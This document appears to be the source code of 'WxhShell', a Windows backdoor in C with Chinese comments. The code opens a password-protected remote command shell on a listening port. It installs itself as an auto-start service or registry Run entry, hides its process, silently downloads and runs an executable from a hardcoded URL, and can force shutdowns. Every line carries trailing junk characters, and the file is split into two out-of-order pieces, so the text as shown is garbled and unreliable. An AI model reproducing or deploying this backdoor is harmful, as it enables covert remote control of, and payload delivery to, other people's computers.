    if(Boot(SHUTDOWN)) 5K1WfdBX7)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X(D$eV  
    else { 5rAI[r 9  
    closesocket(wsh); m oQ><>/  
    ExitThread(0); Z[.+Wd\)-9  
    } ,/.U'{  
    break; jTNfGu0x  
    } F&{RP>  
  // 获取shell o<`)cb }  
  case 's': { Sz\"*W;>  
    CmdShell(wsh); @w1@|"6vF  
    closesocket(wsh); | v? pS  
    ExitThread(0); 9/lCW  
    break; QjW7XVxB#N  
  } @PXb^x#k  
  // 退出 G)(\!0pNZ  
  case 'x': { H'Mc]zw_,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zj!&12w%3  
    CloseIt(wsh); #A8d@]Ps  
    break; Cdjh/+!f  
    } 5xZ*U  
  // 离开 u$%>/cv  
  case 'q': { FzOr#(^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \V@Hf"=j  
    closesocket(wsh); ` [ EzU+  
    WSACleanup(); Nw'3gJ:  
    exit(1); j@0/\:1(U  
    break; \`w!v,aM$  
        } X-oHQu5  
  } #;bpxz1lR9  
  } v1hrRf2<  
#4(/#K 1j  
  // 提示信息 q&IO9/[dk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LEM{$Fxo&  
} sSLs%)e|:  
  } c5uT'P"  
2#4_ /5(j*  
  return; )oOcV%  
} @MfuV4*  
zcrLd={  
// shell模块句柄 {;(X#vK}9  
int CmdShell(SOCKET sock) LGN,8v<W(  
{ /K mzi9j+  
STARTUPINFO si; ETP}mo  
ZeroMemory(&si,sizeof(si)); d*26;5~\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "7R"(.~>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5YJn<XEc  
PROCESS_INFORMATION ProcessInfo; @l9qH1  
char cmdline[]="cmd"; 0NLoqq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QK0  
  return 0; &tFVW[(  
} sQ65QJtt0A  
[/#c9RA  
// 自身启动模式 t<O5_}R%d  
int StartFromService(void) w=I' CMRt  
{ wj>mk  
typedef struct a a<9%j  
{ ~Mv@Bl  
  DWORD ExitStatus; T`g.K6$b  
  DWORD PebBaseAddress; & z;;Bx0s  
  DWORD AffinityMask; [@ ]f@Wd  
  DWORD BasePriority; o56_t{<  
  ULONG UniqueProcessId; Dc |!H{Yr  
  ULONG InheritedFromUniqueProcessId; qvz2u]IOw  
}   PROCESS_BASIC_INFORMATION; +zxj-di M  
u,0N[.&N  
PROCNTQSIP NtQueryInformationProcess; 2 Mc/ah  
Sf>R7.lpP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \1 4"Bgj1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4[z a|t  
;dl>  
  HANDLE             hProcess; r}OK3J  
  PROCESS_BASIC_INFORMATION pbi; [h8j0Q@Q  
N=K|Nw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v*%#Fp,g8  
  if(NULL == hInst ) return 0; -k{n"9a9?  
.s 31D%N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jsS xjf;O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qr%9S dvx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "J]_B  
nAn/Vu  
  if (!NtQueryInformationProcess) return 0; @Md%gEh;&  
H{'<v|I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [B9'/:  
  if(!hProcess) return 0; ` bd  
<8 MKjf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @SA*7[?P  
PF@+~FI  
  CloseHandle(hProcess); vS-k0g;   
yc5C`r+6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  "Mgx5d  
if(hProcess==NULL) return 0; :mLcb. E  
%sb)U~gP  
HMODULE hMod; ZdHfZ3)dB  
char procName[255]; _[-+%RP  
unsigned long cbNeeded; c0]^V>}cl  
7N"$~UfC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d3h2$EDD  
U'S}7gya  
  CloseHandle(hProcess); ]Q=D'1 MM  
gB@Xi*  
if(strstr(procName,"services")) return 1; // 以服务启动 2"lDKjj  
FjIS:9^)t5  
  return 0; // 注册表启动 gK/mm\K@  
} D<$~bUkxR  
<A&mc,kj  
// 主模块 FblwQ-D  
int StartWxhshell(LPSTR lpCmdLine) /_E8'qlx  
{ LZm6\x  
  SOCKET wsl; @s J[<V  
BOOL val=TRUE; Pw/Z;N;:V  
  int port=0; +MPM^m  
  struct sockaddr_in door; g\&[;v i  
m "\jEfjO  
  if(wscfg.ws_autoins) Install(); > 4ex:Z  
b7g\wnV8z  
port=atoi(lpCmdLine); yfeX=h  
)n 1b  
if(port<=0) port=wscfg.ws_port; \B"5 Kp<  
Z<ozANbk  
  WSADATA data; oK&LYlU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j <>|Hi #`  
^,')1r,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   24"Trg\WK[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O[f*!  
  door.sin_family = AF_INET; Ed,`1+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zu&5[XL  
  door.sin_port = htons(port); ZzLmsTtzIu  
$8o(_8Q)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \|nF55W [  
closesocket(wsl); 1"3|6&=  
return 1; a'f"Zdh%w  
} . $uvQpyh  
o^;$-O!/  
  if(listen(wsl,2) == INVALID_SOCKET) { 6H67$?jMyJ  
closesocket(wsl); ^Bn)a"Gd  
return 1; $.kP7!`:,  
} yC !`6$  
  Wxhshell(wsl); j?%^N\9  
  WSACleanup(); '/U[ ui0{  
~n%~ Z|mMF  
return 0; xaSvjc\  
<y=VDb/  
} `,d*>  
X=_pQ+j`^  
// 以NT服务方式启动 wEENN_w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 02:]  
{ A,i.1U"w8  
DWORD   status = 0; "Wr5:T-;  
  DWORD   specificError = 0xfffffff; c4ptY5R),  
$A"kHS7T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KJ<7aZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y0cHs|8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;NH 5 L,  
  serviceStatus.dwWin32ExitCode     = 0; q\ FF)H  
  serviceStatus.dwServiceSpecificExitCode = 0; :@)UI,  
  serviceStatus.dwCheckPoint       = 0; cjt<&b*  
  serviceStatus.dwWaitHint       = 0; \#.,@g  
'HTr02riY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sHD8#t^{  
  if (hServiceStatusHandle==0) return; u Jy1vI  
YO7Y1(`  
status = GetLastError(); Wr Ht  
  if (status!=NO_ERROR)  S[!K  
{ \$Y Kw0K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6M9t<DQV  
    serviceStatus.dwCheckPoint       = 0; k\$))<3  
    serviceStatus.dwWaitHint       = 0; ,dn9tY3  
    serviceStatus.dwWin32ExitCode     = status; Vy0s%k  
    serviceStatus.dwServiceSpecificExitCode = specificError; SLp &_S@4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P'f =r%  
    return; m7wD#?lm  
  } CY#|VE M  
)=l~XV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "a))TV%N  
  serviceStatus.dwCheckPoint       = 0; ;q]Jm  
  serviceStatus.dwWaitHint       = 0; dfY(5Wc+f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GL$!JKWp  
} c7 Sa|9*dR  
j78WPG  
// 处理NT服务事件,比如:启动、停止 &v|Uy}h&%1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =!T@'P?  
{ !E!i`yF  
switch(fdwControl) fe PH=C  
{ .?R~!K{`  
case SERVICE_CONTROL_STOP: iSu7K&X9q  
  serviceStatus.dwWin32ExitCode = 0; w>Iw&US  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -SZXUN  
  serviceStatus.dwCheckPoint   = 0; ,?k[<C  
  serviceStatus.dwWaitHint     = 0; 7S$Am84%  
  { eqbQ,, &  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+MNu8t  
  } twElLOE  
  return; 2g5i3C.q$  
case SERVICE_CONTROL_PAUSE: HA&7 ybl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jb~$Vrdy  
  break; H'k$<S  
case SERVICE_CONTROL_CONTINUE: Y,Dd} an  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3qJOE6[}%  
  break; /aS=vjs  
case SERVICE_CONTROL_INTERROGATE: /ivcqVu]  
  break; _R&mN\ey5  
}; `i5U&K. 7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NRu _6~^^  
} i ,Cvnp6Lv  
eKjmU| H  
// 标准应用程序主函数 .j?`U[V%a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ws8@y r<R  
{ hhd%j6  
'i5 VU4?K  
// 获取操作系统版本 `)V1GR2 ES  
OsIsNt=GetOsVer(); -n&g**\w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e$]`  
K"u-nroHW  
  // 从命令行安装 .4on7<-a  
  if(strpbrk(lpCmdLine,"iI")) Install(); <=.0 P/N  
Pyh+HD\  
  // 下载执行文件 \7rAQ[\#V  
if(wscfg.ws_downexe) { .nN=M>#/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4x7(50hp#  
  WinExec(wscfg.ws_filenam,SW_HIDE); vD<6BQR  
} iUSP+iC,  
*69{#qN  
if(!OsIsNt) { -e< d//>  
// 如果时win9x,隐藏进程并且设置为注册表启动 X`#,*HkK  
HideProc(); oSVo~F  
StartWxhshell(lpCmdLine); @>`+eg][?P  
} <vMna< /d  
else K$v SdpC  
  if(StartFromService()) rEz-\jLD~  
  // 以服务方式启动 +8qtFog$\g  
  StartServiceCtrlDispatcher(DispatchTable); iV9wqUkMv  
else 'a.n  
  // 普通方式启动 %Aaf86pkp  
  StartWxhshell(lpCmdLine); ;fomc<  
.EeXq }a[  
return 0; U%%fKL=S  
} x/~qyX8vo  
EmrUzaGD  
od~^''/b  
(Z:(f~;  
=========================================== 0XouHU  
UNLmnj;-Q  
X3[gi`  
W\]bh'(  
=KQQS6  
& Tz@lvOv%  
" vBy t_X  
8Aq [@i  
#include <stdio.h> 5)h#NkA\J  
#include <string.h> &L7u//  
#include <windows.h> #yNSQd  
#include <winsock2.h> Br/qOO:n$}  
#include <winsvc.h> 6oTWW@  
#include <urlmon.h> _N8Tu~lqV  
*R9s0;&:  
#pragma comment (lib, "Ws2_32.lib") G!]%xFwYa  
#pragma comment (lib, "urlmon.lib") vTnrSNdSE  
(Hk4~v6pqC  
#define MAX_USER   100 // 最大客户端连接数 % mP%W<  
#define BUF_SOCK   200 // sock buffer '{]1!yMh  
#define KEY_BUFF   255 // 输入 buffer nW)-bAV<  
]U[y3  
#define REBOOT     0   // 重启 U -RR>j  
#define SHUTDOWN   1   // 关机  R&oC9<  
#'`!*VI  
#define DEF_PORT   5000 // 监听端口 MZYh44  
0|6]ps4Z7  
#define REG_LEN     16   // 注册表键长度 ~K'e}<-G  
#define SVC_LEN     80   // NT服务名长度 ~ZrSoVP=  
LV4\zd6  
// 从dll定义API k+-IuO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mCM7FFl I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b1+6I_u.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q/T(s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ` =ocr8c  
v[$-)vs*ag  
// wxhshell配置信息 C]@v60I  
struct WSCFG { :r4]8X-  
  int ws_port;         // 监听端口 3[q&%Z.  
  char ws_passstr[REG_LEN]; // 口令 So?.V4aD_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3=[#(p:  
  char ws_regname[REG_LEN]; // 注册表键名 W&M=%  
  char ws_svcname[REG_LEN]; // 服务名 |gXtP-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eZ>KA+ C[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MmIVTf4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^b{-y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kmy'z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P9d%80(b4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \VY!= 9EV  
n oWjZ  
}; }E o\=>l7  
|E{tS,{OhJ  
// default Wxhshell configuration ]JGh[B1gh  
struct WSCFG wscfg={DEF_PORT, FEOr'H<3x  
    "xuhuanlingzhe", L >* F8|g  
    1, +SM&_b  
    "Wxhshell", 9gu$vF]9!  
    "Wxhshell", |X}H&wBWo  
            "WxhShell Service", j[E8C$lW  
    "Wrsky Windows CmdShell Service", [cJQ"G '  
    "Please Input Your Password: ", %62W[Oh5  
  1, $O\I9CGr$  
  "http://www.wrsky.com/wxhshell.exe", >Xz=E0;^Ua  
  "Wxhshell.exe" ? PIq/[tk  
    }; hMcSB8?  
WUC-* (  
// 消息定义模块 'eM90I%(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t1LIZ5JY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =1!,A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \VL_  
char *msg_ws_ext="\n\rExit."; `/|S.a#g  
char *msg_ws_end="\n\rQuit."; eA4dDKX+  
char *msg_ws_boot="\n\rReboot..."; J A=9EnTU  
char *msg_ws_poff="\n\rShutdown..."; #sHA!@ |  
char *msg_ws_down="\n\rSave to "; m7~<z>5$  
0LX"<~3j  
char *msg_ws_err="\n\rErr!"; Sn o7Ru2  
char *msg_ws_ok="\n\rOK!"; @k< e]@r  
BIu%A]e"  
char ExeFile[MAX_PATH]; JPo.&5k  
int nUser = 0; 33R1<dRk  
HANDLE handles[MAX_USER]; UJ\[ ^/t  
int OsIsNt; {z^6V\O5  
}JP0q  
SERVICE_STATUS       serviceStatus; S\\3?[!p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W^o* ^v  
trl:\m  
// 函数声明 ZQL4<fy'E  
int Install(void); [Ej#NHs  
int Uninstall(void); E$u9Jbe  
int DownloadFile(char *sURL, SOCKET wsh); ';'TCb{f*  
int Boot(int flag); K;n2mXYGM  
void HideProc(void); "-y 2En  
int GetOsVer(void); cpIFjb>u{  
int Wxhshell(SOCKET wsl); p3m!Iota  
void TalkWithClient(void *cs); mbf'xGO  
int CmdShell(SOCKET sock); ;-aF\}D@n  
int StartFromService(void); 98c##NV(7|  
int StartWxhshell(LPSTR lpCmdLine); knX*fp  
Ffv v8x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8vk*",  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X2RM*y|  
/0S2Om h  
// 数据结构和表定义 k`j>lhH  
SERVICE_TABLE_ENTRY DispatchTable[] = DGs=.U-=e  
{ zRO-oOJ  
{wscfg.ws_svcname, NTServiceMain}, \(4"kY_=  
{NULL, NULL} Dw%V.J/&o  
}; 2 }9of[  
:Dh\  
// 自我安装 7o+JQ&fF;  
int Install(void) ;~A-32;Y4  
{ Fwu:x.(  
  char svExeFile[MAX_PATH]; iRbTH}4i  
  HKEY key; .Mn_T*F  
  strcpy(svExeFile,ExeFile); z~O#0Q !  
v?s]up @@h  
// 如果是win9x系统,修改注册表设为自启动 >A]U.C  
if(!OsIsNt) { A?YU:f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +hUS sR&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xSf&*wLE  
  RegCloseKey(key); rE&` G[(b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T<jo@z1UL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P#0U[`ltK  
  RegCloseKey(key); Moldv x=M  
  return 0; A`5/u"]*D  
    } WfdM~k\  
  } ?{)sdJe  
} i 4}4U  
else { WxLmzSz{xD  
RJYB=y8l  
// 如果是NT以上系统,安装为系统服务 P"Scs$NOU?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bNH72gX2Yh  
if (schSCManager!=0) tom1u>1n  
{ mQbpv'N  
  SC_HANDLE schService = CreateService Mk3~%`  
  ( `Kt]i5[ "  
  schSCManager, T>~D(4r|pS  
  wscfg.ws_svcname, |9fvj6?Y  
  wscfg.ws_svcdisp, ?(t{VdZSzQ  
  SERVICE_ALL_ACCESS, O_E\(So  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0x N1Xm0d  
  SERVICE_AUTO_START, u{asKUce\  
  SERVICE_ERROR_NORMAL, 6\+ ZTw  
  svExeFile, jD<fu  
  NULL, M1Frn n  
  NULL, lc:dKGF6  
  NULL, Y=NXfTc  
  NULL, ;Dw6pmZ  
  NULL Q; V*M  
  ); p{V_}:|=Q  
  if (schService!=0) L~Hl?bK  
  { Y:x,pPyl  
  CloseServiceHandle(schService); x)]_]_vX  
  CloseServiceHandle(schSCManager); ytmFe!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !1X^lFf;~  
  strcat(svExeFile,wscfg.ws_svcname); z PW[GkD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7_=7 ;PQ<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nfldj33*  
  RegCloseKey(key); q2$-U&  
  return 0; sy\w ^]  
    } wU"0@^k]<  
  } L[j73z'  
  CloseServiceHandle(schSCManager); ,/bSa/x`  
} bG|aQ2HW  
} odPdWV,&*  
&'mq).I2  
return 1; eG @0:  
} Ala~4_" WL  
+,g"8&>  
// 自我卸载 ^xNs^wC.  
int Uninstall(void) ,A{'lu  
{ *GGiSt  
  HKEY key; *EB`~s  
^D}]7y|fm  
if(!OsIsNt) { e@`"V,i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qf'%".*=~8  
  RegDeleteValue(key,wscfg.ws_regname); <=yqV]JR  
  RegCloseKey(key); &az :YTq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YF4?3K0F:k  
  RegDeleteValue(key,wscfg.ws_regname); #s}cK  
  RegCloseKey(key); 2#XYR>[  
  return 0; Jc3Z1Tt  
  } hoDE*>i  
} +H4H$H  
} NDqvt$  
else { C4].egVg  
"44A#0)B'l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NI%&Xhn!*>  
if (schSCManager!=0) Cj +{%^#  
{ H}p5qW.tH:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @:ojt$  
  if (schService!=0) eM) I%  
  { )tD[Ffvr  
  if(DeleteService(schService)!=0) { q!OB?03n  
  CloseServiceHandle(schService); ]zt77'J  
  CloseServiceHandle(schSCManager); Ofm?`SE*|  
  return 0; xh90qm  
  } >QcIrq%=  
  CloseServiceHandle(schService); MT3TWWtZ:  
  } f6*6*=  
  CloseServiceHandle(schSCManager); HtN!Hgpwg  
} -aV!ZODt  
} A><q-`bw  
l$\OSG  
return 1; P{gGvC,  
} B(zcoWQ*B  
GdlzpBl  
// 从指定url下载文件 T`7HQf ;  
int DownloadFile(char *sURL, SOCKET wsh) oRALhaI  
{ Z=|NoDZ  
  HRESULT hr; yPmo@aw]1  
char seps[]= "/"; - Mubq  
char *token; PL}c1Ud  
char *file; W74Y.zQ  
char myURL[MAX_PATH]; M];?W  
char myFILE[MAX_PATH]; N}/|B}  
#J): N  
strcpy(myURL,sURL); "{@Q..hxC  
  token=strtok(myURL,seps); ) u(Gf*t  
  while(token!=NULL) 5L!cS+QNU  
  { :ot^bAyt|  
    file=token; !4 =]@eFk  
  token=strtok(NULL,seps); e*Gt%'  
  } 2K~<_.S  
]}za  
GetCurrentDirectory(MAX_PATH,myFILE); JK/VIu&!  
strcat(myFILE, "\\"); /E32^o|,>  
strcat(myFILE, file); *%#Sa~iPo  
  send(wsh,myFILE,strlen(myFILE),0); zF([{5r[!)  
send(wsh,"...",3,0); o]jPG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?B5934X  
  if(hr==S_OK)  <j<V{Wc  
return 0; V:Lq>rs#  
else 8=T[Y`;x  
return 1; #sRkKl|  
|RS(QU<QE  
} \Aa{]t  
f7y3BWOi]  
// 系统电源模块  L#>^R   
int Boot(int flag) 4]P5k6 nV  
{ ToXgl4:kd  
  HANDLE hToken; &$V&gAN  
  TOKEN_PRIVILEGES tkp; ;J&p17~T9  
#=81`u  
  if(OsIsNt) { ]aDU*tk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?\.DG`Zxc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D00v"yp%%  
    tkp.PrivilegeCount = 1; K K_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #JD:i%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oj'a%mx  
if(flag==REBOOT) { =mQdM]A)2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )%6h9xyXt  
  return 0; ~#SLb=K   
} _ mJP=+i  
else { O`rKxP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _Xe" +  
  return 0; -L6YLe%w  
} {S6:LsFfm  
  } *]#(?W.$w  
  else { !*1Kjg3  
if(flag==REBOOT) { >DSD1i+N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d&x #9ka  
  return 0; ,ej89  
} a^xt9o`  
else { y~Ts9AE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) " R5! VV  
  return 0; >K@Y8J+ e#  
} lB< kf1[  
} N\nxo0sl  
7+2DsZ^6MW  
return 1; KM:k<pvi  
} 8TH fFL  
ENhKuX  
// win9x进程隐藏模块 q,% lG$0v  
void HideProc(void) g-8D1.U  
{ $uj3W<iw3E  
>&Ios<67g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OC5\3H  
  if ( hKernel != NULL ) nb|KIW  
  { ,CED%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p2I9t|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  {Yc#XP  
    FreeLibrary(hKernel); tM DJ,rT  
  } r Y#^C  
R[vA%G  
return; - xE%`X  
} 7mBH #Q)  
A1p87o>  
// 获取操作系统版本 $9@jV<Q1  
int GetOsVer(void) !V O^oD7  
{ ah2L8jN"  
  OSVERSIONINFO winfo; /JGET  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NfsF'v  
  GetVersionEx(&winfo); ?qt.+2:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /73ANQ"  
  return 1; C &~s<tcn  
  else hYSzr-)  
  return 0; Pu0 <Clh  
} ~zO>Q4-k  
sBq6,Iu  
// 客户端句柄模块 K*sav?c  
int Wxhshell(SOCKET wsl) 'jA>P\@8  
{ k"$E|$  
  SOCKET wsh; W&Xm_T[ Q  
  struct sockaddr_in client; GC3WB4iY@U  
  DWORD myID;  SCq:jI  
e anR$I;Yj  
  while(nUser<MAX_USER) <_>xkQbn2  
{ VOkSR6  
  int nSize=sizeof(client); Gv\:Agi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;^f ;<  
  if(wsh==INVALID_SOCKET) return 1; */)O8`}2  
T)lkT?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4Je[!X@C  
if(handles[nUser]==0) 8_=MP[(H  
  closesocket(wsh); 4T??8J-J  
else LM2S%._cj;  
  nUser++; $i9</Es P  
  } es!>u{8)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X6-;vnlKN  
ANuO(^  
  return 0; 76eF6N+%}t  
} TJ_pMU  
qx f8f  
// 关闭 socket VXP@)\!  
void CloseIt(SOCKET wsh) @aC9O 9|~  
{ |E?,hTRe5  
closesocket(wsh); 4r tNvf5`  
nUser--; zXZXp~7)  
ExitThread(0); ~kp,;!^vr  
} H aA2y  
t$EL3U/(  
// 客户端请求句柄 +aZcA#%  
void TalkWithClient(void *cs) T?k!%5,Kj  
{ ,JqCxb9  
&[W53Lqa  
  SOCKET wsh=(SOCKET)cs; E@/* eJ  
  char pwd[SVC_LEN]; qq '%9  
  char cmd[KEY_BUFF]; 8s9ZY4_  
char chr[1]; |7)oX  
int i,j; 5#U=x ,7e  
k{C03=xk  
  while (nUser < MAX_USER) { zFm:=,9  
" 7g\X$  
if(wscfg.ws_passstr) { 1)t*l;.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B*OBXN>'P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wO&+Bb\=  
  //ZeroMemory(pwd,KEY_BUFF); F S!D  
      i=0; *nx$r[Mqj  
  while(i<SVC_LEN) { V{C{y5  
#5yz~&  
  // 设置超时  %X* *(  
  fd_set FdRead; r) g:-[Ox9  
  struct timeval TimeOut; FSD~Q&9&  
  FD_ZERO(&FdRead); F10TvJ U  
  FD_SET(wsh,&FdRead); [9d4 0>e  
  TimeOut.tv_sec=8; Ny5$IIF e  
  TimeOut.tv_usec=0; Y6RbRcJw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ApTE:Fm1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b_w(F_0  
LhCwZ1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o0 |T<_  
  pwd=chr[0]; T!X`"rI  
  if(chr[0]==0xd || chr[0]==0xa) { +!cibTQTT  
  pwd=0; 1b,MJ~g$  
  break; w&x$RP  
  } >Vph_98|  
  i++; h'.B-y~c  
    } a`6R}|ZB  
Dg}$;PK  
  // 如果是非法用户,关闭 socket ST1c`0e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LV@tt&|N  
} x4XCR,-  
dLbSvK<(I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yYiu69v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^l{q{O7U$  
F% z$^ m-  
while(1) { ~cul;bb#  
88On{Kk.v  
  ZeroMemory(cmd,KEY_BUFF); V`m9+<.1b  
}v6@yU  
      // 自动支持客户端 telnet标准   Zg$RiQ^-{J  
  j=0; \p#_D|s/Ep  
  while(j<KEY_BUFF) { )x3p7t)#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W!V-m  
  cmd[j]=chr[0]; ]([^(&2  
  if(chr[0]==0xa || chr[0]==0xd) { IG90mpLX  
  cmd[j]=0; 9`td_qh  
  break; )Wy:I_F351  
  } ttA'RJ  
  j++; rUg|5EN^)d  
    } tE<'*o'  
'fPDODE  
  // 下载文件 u]Z;Q_=  
  if(strstr(cmd,"http://")) { 7O,!67+^~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zs.@=Z"  
  if(DownloadFile(cmd,wsh)) d}<-G.&_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (bAw>  
  else d' l|oeS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e2kW,JV/<$  
  } sAS[wcOQ  
  else { o>HU4O}  
0i(c XB  
